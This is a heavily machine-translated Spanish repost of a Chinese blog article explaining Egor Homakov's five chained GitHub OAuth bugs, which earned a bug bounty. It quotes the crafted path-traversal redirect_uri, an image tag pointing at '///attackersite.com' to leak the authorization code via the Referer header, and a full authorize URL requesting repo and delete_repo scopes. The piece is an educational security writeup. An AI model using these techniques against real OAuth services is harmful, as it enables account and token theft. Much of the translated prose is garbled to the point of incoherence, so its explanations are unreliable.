[Reproducción] Del "negro a cabo Github" WEB desarrollo de la seguridad escolar

Desde el "negro a cabo Github" WEB desarrollo de la seguridad escolar

https: // coolshell.cn/articles/11021.html

 

Homakov Egor (Twitter:  @homakov  sitio web personal:  EgorHomakov.com ) es un certificado Secure Web misioneros, dio dos días del github negro, GitHub e informar de los aspectos de seguridad de errores 5, que en su presente Blog - " ¿Cómo el I Github Hacked Una vez más " (pared) ilustra este fallo de seguridad de cinco y pensó que GitHub hackeado. Egor este artículo lo puso en más sencilla, una gran cantidad de lugares de una banda antes, por lo que estoy aquí con mi lenguaje para elaborar sobre Github cabo negro y que la idea de los cinco fallo original mencionada. Espero que este artículo permite a los desarrolladores web a participar alerta estudiantes . desarrollo web en materia de seguridad, podemos mirar a este artículo, " lo que hay que saber sobre el Desarrollo Web "

Perfil de OAuth

En primer lugar, esta historia de Github OAuth charla. Por lo tanto, necesitamos saber qué OAuth . La así llamada OAuth, las aplicaciones de terceros a través de su autorizadas sin saber su nombre de usuario y contraseña para acceder a sus datos o sus propias funciones en una página web. Al igual que Google, Facebook, Twitter y otros sitios ofrecen un servicio de OAuth, que proporciona servicios de OAuth sitios web tienen por lo general una gran cantidad de API abierta, las aplicaciones de terceros pueden llamar a estas API para desarrollar sus aplicaciones para que los usuarios tienen más características, pero, cuando los datos de la función y de usuario en su cuenta cuando se utilizan estas aplicaciones de terceros, estas aplicaciones de terceros pueden acceder el usuario, por lo que cuando una tercera aplicación para hacer estas cosas, no podemos permitir que las aplicaciones de terceros que aparezca un cuadro de diálogo caja para preguntar al usuario por su aplicaciones de terceros usuario y contraseña, o poner la contraseña del usuario para obtener, así, el protocolo OAuth saltará a una página que permite a los usuarios autorizados a las aplicaciones de terceros a determinados derechos, entonces, los registros de autoridad autorizada almacenados en Google / Facebook / Twitter, y los retornos de aplicaciones de terceros un token de autorización, por lo que las aplicaciones de terceros para operar cuando una funcionalidad cuenta de usuario y datos a través de este modo, es una tarea sencilla. La figura se describe brevemente el proceso de autorización de la OAuth Twitter.

 

Desde el diagrama de flujo anterior, podemos ver si OAuth 1.0 o versión 2.0 es un protocolo más complejo, por lo que, no algunas cosas fácil de lograr, que es siempre más o menos en algún lado servidor debe OAuth errores menores. Egor encontró la implementación problema OAuth de varias Github.

OAuth 的 devolución de llamada

También tenga en cuenta que, debido a OAuth es la necesidad de saltar las páginas maestras permiten a los usuarios autorizados, cuando la autorización de usuarios terminada, necesidad de saltar de nuevo a la página original, por lo que, en general, la voluntad página de autorización OAuth con argumentos de una REDIRECT_URL, se utiliza para especificar la parte posterior de salto de página originales. Github uso de este parámetro es el parámetro de salto redirect_uri. Generalmente, redirect_uri este parámetro debe ser verificado en el lado servidor.

Se piensa en ello, si alguien puede controlar este redirect_uri este parámetro, entonces se puede dejar que saltar a otra página (que podría ser una página Web maliciosa). Si usted siente que saltar a otras páginas no importa, entonces están equivocados. No se olvide, cuando se pasa la autorización de estas aplicaciones de terceros, con el lado de servicios de aplicaciones de terceros devolverá un token de autorización, se añadirá el testigo a redirect_uri detrás de ese argumento y luego saltar de nuevo, si este pueblo redirect_uri con motivos ocultos después de cambiar un sitio web malintencionado, el token se transfieren a través de, a continuación, el testigo de autorización se filtró de nuevo.

Sabe todo, podemos entender Egor mencionar que cinco de errores es lo que significa.

El primer Bug - no verificó la URL de la redirección /../

En primer lugar, pasamos la documentación de redirect_uri de Github podemos ver dicha descripción a:

El Github para redirect_uri se han limitado, requiriendo sólo saltar de nuevo https://gist.github.com/auth/github/callback/, es decir, el nombre de dominio es gist.github.com, el directorio es / auth / github / devolución de llamada /, el servidor hizo esta restricción, parece muy seguro.

Sin embargo, se encontró Egor, del lado del servidor Github no hay tal comprobación caso .. /../../.

Por lo tanto, Egor construida correspondiente a un siguiente enlace de redirección:

https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE

Por lo que la URL de destino anterior es equivalente a:

https://gist.github.com/homakov/8820324?code=CODE

Se puede ver después del salto de página a una certificación en algún otro sitio (no imponen restricciones GitHub) - Sabemos lo esencial Github aunque es para que usted pueda compartir fragmentos de código, pero también se pueden utilizar para personalizar su propio material (tal markdown), por supuesto, la esencia de la página es para ser controlado por Egor.

En segundo lugar ERROR - hay un token de verificación

El primer error de hecho, no hay nada, si el servidor que desea comprobar para ver si el redirect_uri señal y símbolo previamente genera exactamente la misma, siempre y cuando el servidor para realizar esta verificación, el primer error es completamente inútil, sin embargo, github y del lado del servidor sin verificación.

Este es el segundo fallo, entonces el segundo y el primer fallo combinado juntos en una bastante potentes vulnerabilidades de seguridad.

En otras palabras, para considerar generación de tokens redirect_uri, de modo que cuando el URL salto, se redirect_uri y contadores a la página de salto (en la página de salto o GitHub propia), el programa salta a la página del servidor con redirect_uri para generar un token, y ver si está viniendo es un tipo de token. Esto se conoce como una firma URL - para asegurarse de que la dirección no ha sido manipulado. En general, la URL para la firma y la firma de verificación factores incluyen IP de origen, el servidor de tiempo de corte, la sesión, más una sal o algo así.

La tercera ERROR - Inyectar Fotos Cross Site

Ahora, con el código de redirect_uri, seguro y exitoso salto en la página Egor construcción:

https://gist.github.com/homakov/8820324?code=CODE

Pero esta es la esencia de la página, no se puede ejecutar el extremo delantero (Javascript) o un programa de servicios de fondo en esta página (Ruby - Github Rubí está haciendo), la pregunta ahora es ¿cómo conseguir que el código, ya que el código Aunque la banda hasta mi página, pero que los usuarios de la página o de GitHub y su entorno.

Aquí, en general, un hacker pondrá un enlace como el siguiente en esta página, para los usuarios de señuelo para hacer clic en:

<a href=http://hack.you.com/> fotos privadas </a>

De esta manera, cuando la página para saltar al sitio del hacker arriba, se añadirá la URL de la página anterior a la Refere http parámetros antes del año, por lo que puedo conseguir que un token.

Sin embargo, se puso los usuarios a GIST también vincularlo, y esta influencia es demasiado "experiencia del usuario", el mejor punto puede ser embebido cosas fuera. Puede ser empotrado en la esencia de la imagen fuera de la estación, pero el desarrollador no es Dengxianzhibei github para fotografías fuera de la estación, que todos estos cuadros de la URL del proxy en su url github, así que es difícil de conseguir.

Sin embargo, podemos utilizar un truco muy extraño:

<Img src =”/// attackersite.com”>

¿Qué es esto? Esta es una ruta relativa URL. Pero ¿por qué hay tres /// ella? Oh.

Al igual que los programadores de pensamiento

Esta vez, necesitamos una "mente del programador" para pensar - si usted es un programador, usted cómo escribir el programa compruebe la URL? Va a pensar en el uso de expresiones regulares, o utilizar el programa para que coincida con la URL de algún patrón. Como resultado,

  • Para la ruta absoluta: // va a coincidir con dos, este último puede ser [email protected] (usuario @ es opcional), entonces no puede ser: <n> número de puerto, a continuación, /, seguido por el servidor camino, y luego más atrás debe ser? traer de vuelta algunos de los parámetros.
  • Para ruta relativa: no hay camino absoluto tan complicado. Es cierto .. y / plus? Y algunos parámetros.

Bueno, si la página web coolshell.cn ruta <img src => <a href=> o pariente se utiliza en /host.com, el navegador lo interpretará como: https: //coolshell.cn/host. com, si es ///host.com, entonces debería ser interpretado por el navegador como https://coolshell.cn///host.com.

Sin embargo, Chrome y Firefox, Will ///host.com como una ruta absoluta, porque coincidir correctamente la ruta absoluta esquema. Si estás leyendo esto con Chrome / Firefox, puede echar un vistazo al siguiente enlace (en adelante):

Prueba CoolShell

1
< a href = "///www.google.com" >CoolShell Test</ a >

La clave es que el problema Chrome / Firefox está marcado se hizo no fijaré, me voy a Le, básicamente, el programa de fondo también es probable que tenga este problema, para Perl, Python, Ruby, Node.js, cinturón de PHP compruebe la URL de la biblioteca los tiene.

Así que podemos utilizar de tal manera que inyecte la esencia de un sitio de terceros Fotos (github conscientes del servidor (como hemos dicho durante la mayor biblioteca de lenguas URL será el control de la especial), pero el navegador esto explica el enlace en sitios de terceros), después esta imagen de encabezado de solicitud HTTP contiene la dirección URL del usuario refere de la página actual, también contiene el código de autorización del usuario.

En este caso, el hacker tiene que obtener el permiso Egor esencia del usuario y puede ser modificado o descubre la esencia del usuario privado. Pero el autor no está satisfecho, que quiere más.

El cuarto error - Síntesis poner una cookie en el github_token

Así Egor encuentra en la cookie del usuario en github_token

Pero el testigo inútil, porque los GIST Alcance autorizadas. Sin embargo, esta muestra no se debe colocar en cookies del cliente en sí es un incidente de seguridad, esto es sólo en el lado del servidor (precauciones de seguridad en el desarrollo web, se puede ver el artículo " Desarrollo web que necesita saber cosas ").

Así, Egor sólo puede encontrar otra salida.

El quinto Bug - automáticamente a la autorización GIST

Debido a que la esencia es github poseer, Egor estima github quieren hacerlo de forma sencilla, cuando los usuarios acceden a la esencia no se saldrá de una página para que los usuarios a la autorización OAuth, de lo contrario, será muy sorprendido, son su propia cosas, sino también para autorizar? Así, Egor conjetura github debe estar en el meollo realiza de forma automática conceder, a continuación, Egor participar en tal dirección URL (redirect_uri nota que a su alcance)

https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub% 2Fcallback /../../../ homakov / 8820324 y response_type = código y scope = repo, GIST, el usuario, delete_repo, notificaciones

Por lo tanto, esta redirección-uri no sólo ayudan a los hackers para obtener acceso esencia de la razón, y también autorizó muestra de alcance ampliado a otras bibliotecas de código de usuario con privilegios. Para que pueda entrar en el área negro del usuario del código propietario.

 Otros pensamientos y

Por lo tanto, los autores de  Bug Bounty Github de Seguridad  para obtener un bono de $ 4,000 USD! Egor pasó un total de 14:00-6:00 un total de cuatro horas para encontrar el error, un promedio de una hora 1.000 dólares. Egor muy Joseph se dijo que si el asesor de seguridad Github le pidió que hiciera, él recibió sólo USD $ 400 cuchillo de una hora, que es de cuatro horas US $ 1.600. Oh. Podemos ver cómo esta es una manera eficaz de hacer dinero.

La cifra es un cazador de recompensas en las clasificaciones de Github ( https://bounty.github.com/index.html#leaderboard ) se puede subir uno por uno para ver si encuentran un problema, podrás encontrar temas de seguridad mejor son pequeñas, algunos sólo se puede decir que el problema no está muy estandarizada, Github tiene unos pocos millones de recompensa. Comprobé el github política de recompensa, generosidad github de al menos 100 cuchillos, navajas a 5000 dólares.

Preguntémonos, pasamos mucho tiempo jugando a los "juegos de color rojo", pero dieron mucho rojo? Personas cuatro horas para encontrar cinco errores, ganar $ 4000 dólares. Dios te y me ha dado el mismo tiempo, se utilizó para dibujar unos sobres rojos de dinero, la gente utiliza sus habilidades para ganar bonificaciones. Esta es la diferencia entre el hombre y el hombre. Se llama la eficiencia - se puede echar un vistazo en el lugar y que escribió " las horas extraordinarias y la eficiencia ."

Supongo que te gusta

Origin www.cnblogs.com/jinanxiaolaohu/p/12398749.html
Recomendado
Clasificación